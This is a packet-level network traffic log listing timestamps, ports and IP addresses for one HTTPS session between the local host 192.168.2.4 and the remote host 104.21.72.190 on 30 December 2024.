Dec 30, 2024 09:18:10.798063040 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.798098087 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.798125982 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.799743891 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.799786091 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.799818993 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.799823999 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.799834013 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.799858093 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.799956083 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.799973965 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.800035000 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.800040960 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.800333977 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.800354004 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.800383091 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.800390005 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.800405025 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.800435066 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.802077055 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.802134037 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.874017954 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.874036074 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.874110937 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.874126911 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.874174118 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.878180027 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.878196001 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.878253937 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.878261089 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.878360033 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.880105019 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.880121946 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.880181074 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.880188942 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.880228043 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.880388975 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.880408049 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.880460978 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.880469084 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.880506992 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.882396936 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.882414103 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.882467985 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.882476091 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.882575035 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.884232998 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.884252071 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.884306908 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.884313107 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.884382963 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.884443045 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.884459019 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.884496927 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.884509087 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.884524107 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.884552002 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.884736061 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.884753942 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.884795904 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.884803057 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.884829044 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.884850979 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.958583117 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.958605051 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.958697081 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.958719015 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.959072113 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.962666988 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.962687969 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.962754965 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.962770939 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.962794065 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.962965965 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.964595079 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.964628935 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.964674950 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.964701891 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.964715958 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.964730978 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.964737892 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.964760065 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.966264009 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.966283083 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.966340065 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.966355085 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.966815948 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.966856003 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.966876030 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.966881037 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.966912985 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.968617916 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.968632936 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.968672037 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.968688011 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.968696117 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.968729019 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.968753099 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.968976974 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.968991041 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.969044924 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.969052076 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.969091892 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.969140053 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.969140053 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:10.969146013 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:10.969187021 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.001763105 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.001780987 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.001846075 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.001862049 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.001962900 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.044003963 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.044040918 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.044085026 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.044099092 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.044111013 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.044131994 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.047344923 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.047363043 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.047422886 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.047430992 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.047442913 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.047476053 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.049019098 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.049078941 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.049269915 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.049283981 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.049343109 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.049350023 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.049474955 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.051321030 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.051357985 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.051393032 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.051399946 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.051428080 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.053190947 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.053205013 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.053272963 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.053280115 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.053381920 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.053402901 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.053453922 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.053462982 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.053477049 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.053626060 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.053656101 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.053684950 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.053692102 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.053718090 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.086222887 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.086272955 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.086292982 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.086323023 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.086396933 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.128357887 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.128381014 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.128468990 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.128490925 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.129693031 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.131711960 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.131753922 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.131787062 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.131794930 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.131825924 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.133399010 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.133414984 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.133476973 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.133483887 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.133521080 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.133673906 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.133692026 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.133739948 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.133747101 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.135703087 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.135742903 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.135771990 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.135777950 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.135809898 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.135829926 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.137528896 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.137546062 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.137608051 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.137614012 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.137661934 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.137814045 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.137849092 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.137880087 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.137886047 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.137917042 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.138003111 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.138030052 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.138056993 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.138063908 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.138088942 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.170730114 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.170780897 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.170813084 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.170824051 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.170850992 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.210309982 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.212626934 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.212706089 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.216192007 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.216207027 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.216250896 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.216288090 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.216289043 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.216303110 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.216325045 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.216352940 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.218002081 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.218019009 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.218076944 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.218084097 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.218135118 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.219400883 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.219417095 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.219487906 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.219495058 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.219538927 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.221900940 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.221918106 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.221978903 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.221987009 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.222141027 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.222160101 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.222166061 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.222179890 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.222193956 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.222228050 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.222409964 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.222424984 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.222476959 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.222482920 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.222532034 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.255371094 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.255395889 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.255479097 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.255502939 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.255544901 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.297250986 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.297311068 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.297327042 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.297348976 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.297365904 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.297384024 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.300674915 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.300689936 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.300744057 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.300754070 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.300827026 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.302306890 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.302321911 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.302382946 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.302391052 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.302434921 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.303822041 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.303838015 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.303880930 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.303889036 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.303921938 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.306402922 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.306417942 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.306468964 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.306476116 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.306510925 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.306530952 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.306555986 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.306562901 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.306583881 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.306607962 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.306807041 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.306823969 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.306858063 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.306865931 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.306888103 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.306906939 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.339777946 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.339795113 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.339936018 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.339936018 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.339965105 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.340013027 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.381736994 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.381761074 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.381815910 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.381829023 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.381869078 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.385216951 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.385234118 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.385288000 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.385294914 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.385324955 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.385344028 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.386894941 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.386910915 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.386960983 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.386969090 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.387017965 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.388320923 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.388338089 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.388375044 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.388382912 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.388407946 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.388427973 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.390707970 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.390722990 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.390767097 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.390774012 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.390799999 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.390827894 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.390964031 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.390979052 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.391030073 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.391036987 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.391191006 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.391352892 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.391375065 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.391427994 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.391436100 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.391479969 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.424181938 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.424201012 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.424254894 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.424263954 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.424299002 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.466233969 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.466267109 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.466310978 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.466321945 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.466356039 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.466372967 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.469624996 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.469643116 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.469728947 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.469737053 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.470937967 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.471362114 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.471379042 CET	443	49730	104.21.72.190	192.168.2.4
